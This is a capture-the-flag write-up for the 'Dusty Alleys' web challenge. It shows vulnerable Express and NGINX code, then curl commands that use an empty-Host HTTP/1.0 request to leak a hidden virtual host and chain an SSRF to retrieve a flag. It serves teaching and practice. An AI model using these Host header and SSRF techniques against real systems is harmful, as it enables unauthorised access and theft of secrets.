Dusty Alleys - Web
Challenge Overview
This challenge demonstrates an attack chain involving a Server-Side Request Forgery (SSRF) combined with an NGINX virtual host misconfiguration to retrieve a flag from environment variables. The vulnerability exploits improper host routing and leverages internal network access to expose sensitive application secrets.
Application Structure
The Node.js Express application exposes three main routes:
/alley
- Renders the main index page/think
- Returns all incoming HTTP headers as JSON/guardian
- Main vulnerability endpoint requiring aquote
parameter
routes/guardian.js
const node_fetch = require("node-fetch");
const router = require("express").Router();
router.get("/alley", async (_, res) => {
res.render("index");
});
router.get("/think", async (req, res) => {
return res.json(req.headers);
});
router.get("/guardian", async (req, res) => {
const quote = req.query.quote;
if (!quote) return res.render("guardian");
try {
const location = new URL(quote);
const direction = location.hostname;
if (!direction.endsWith("localhost") && direction !== "localhost")
return res.send("guardian", {
error: "You are forbidden from talking with me.",
});
} catch (error) {
return res.render("guardian", { error: "My brain circuits are mad." });
}
try {
let result = await node_fetch(quote, {
method: "GET",
headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
}).then((res) => res.text());
res.set("Content-Type", "text/plain");
res.send(result);
} catch (e) {
console.error(e);
return res.render("guardian", {
error: "The words are lost in my circuits",
});
}
});
module.exports = router;
The /guardian
endpoint performs the following operations:
- Validates that the
quote
parameter contains a URL pointing to localhost - Makes an internal HTTP request to the specified URL
- Includes the flag as a
Key
header in the internal request - Returns the response from the internal request
NGINX Configuration Analysis
The NGINX reverse proxy configuration reveals two virtual hosts:
server {
listen 80 default_server;
server_name alley.$SECRET_ALLEY;
location / {
root /var/www/html/;
index index.html;
}
location /alley {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /think {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 80;
server_name guardian.$SECRET_ALLEY;
location /guardian {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
The configuration shows that:
/guardian
is only accessible via theguardian.$SECRET_ALLEY
hostname- The
$SECRET_ALLEY
value is unknown and must be discovered
Initial Access Attempts
Direct access to /guardian
fails due to virtual host restrictions:
curl http://94.237.57.1:39275/guardian
// Returns: 404 Not Found
However, /think
is accessible and reveals header information:
curl http://94.237.57.1:39275/think
{"host":"94.237.57.1","x-real-ip":"10.30.18.146","x-forwarded-for":"10.30.18.146","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.16.0","accept":"*/*"}
HTTP/1.0 Empty Host Header Technique
The breakthrough came from exploiting a well-documented NGINX behavior when processing requests with empty Host headers. According to the official NGINX documentation on server name processing, when a request lacks a Host header or contains an empty Host header, NGINX routes the request to the default server.
When NGINX receives a request without a Host header field or with an empty Host header, it routes the request to the default server for that port.
Using HTTP/1.0 with an empty Host header:
curl --http1.0 -H "Host:" http://94.237.57.1:39275/think
This technique leverages the fact that in HTTP/1.0, the Host header is not mandatory, and some server configurations handle empty Host headers by falling back to the default server configuration. This behavior is documented in various security resources:
- NGINX Host Header Vulnerability Protection - Details securing NGINX servers against Host header injection vulnerabilities
- PortSwigger Web Security Academy - Comprehensive guide on identifying and exploiting HTTP Host header vulnerabilities
- Acunetix Host Header Attack Documentation - Explains how HTTP Host headers can be controlled by attackers for exploitation
The HTTP/1.0 request with empty Host header returned:
{
"host": "alley.firstalleyontheleft.com",
"x-real-ip": "10.30.18.146",
"x-forwarded-for": "10.30.18.146",
"x-forwarded-proto": "http",
"connection": "close",
"user-agent": "curl/8.16.0",
"accept": "*/*"
}
This revealed that $SECRET_ALLEY = firstalleyontheleft.com
, making the guardian endpoint accessible at guardian.firstalleyontheleft.com
.
Step 1: Verify Guardian Access
curl -H "Host: guardian.firstalleyontheleft.com" "http://94.237.57.1:39275/guardian" -I
// Returns: 200 OK
Step 2: SSRF Exploitation
The exploit combines two vulnerabilities:
- SSRF in
/guardian
- Allows making internal requests to localhost - Information disclosure in
/think
- Returns all HTTP headers, including the flag
The attack payload:
curl -H "Host: guardian.firstalleyontheleft.com" "http://94.237.57.1:39275/guardian?quote=http://localhost:1337/think"
Step 3: Flag Extraction
The SSRF payload works as follows:
- The
/guardian
endpoint receivesquote=http://localhost:1337/think
- It validates the hostname (localhost)
- Makes an internal request:
GET http://localhost:1337/think
with headers{ Key: "HTB{FLAG}" }
- The
/think
endpoint receives this internal request and returns all headers as JSON - The response includes the flag in the
key
field
Response:
{
"key": "HTB{REDACTED}",
"accept": "*/*",
"user-agent": "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)",
"accept-encoding": "gzip,deflate",
"connection": "close",
"host": "localhost:1337"
}
written by 0xbara